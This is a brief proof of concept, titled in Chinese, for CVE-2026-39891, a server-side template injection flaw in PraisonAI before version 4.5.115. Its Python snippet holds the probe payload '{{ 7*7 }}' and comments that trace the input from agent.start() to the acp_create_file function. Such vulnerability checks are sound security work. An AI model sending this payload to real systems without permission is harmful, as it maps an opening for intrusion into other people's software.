CVE-2026-39891 PraisonAI模板注入漏洞

# Proof of Concept for CVE-2026-39891 # This demonstrates how unescaped input leads to SSTI in PraisonAI < 4.5.115 # Assume we are interacting with the vulnerable agent API endpoint # The vulnerability is triggered when user input reaches 'acp_create_file' # which uses template rendering. malicious_payload = "{{ 7*7 }}" # Basic SSTI test payload # In a real scenario, this input would be sent to the agent.start() method # Example exploit flow: # 1. Attacker sends payload to agent.start() # 2. Input is passed to acp_create_file without escaping # 3. Template engine processes {{ 7*7 }} and returns "49" print(f"Sending payload to trigger template rendering: {malicious_payload}") print("If the application returns '49' instead of the literal string, it is vulnerable.")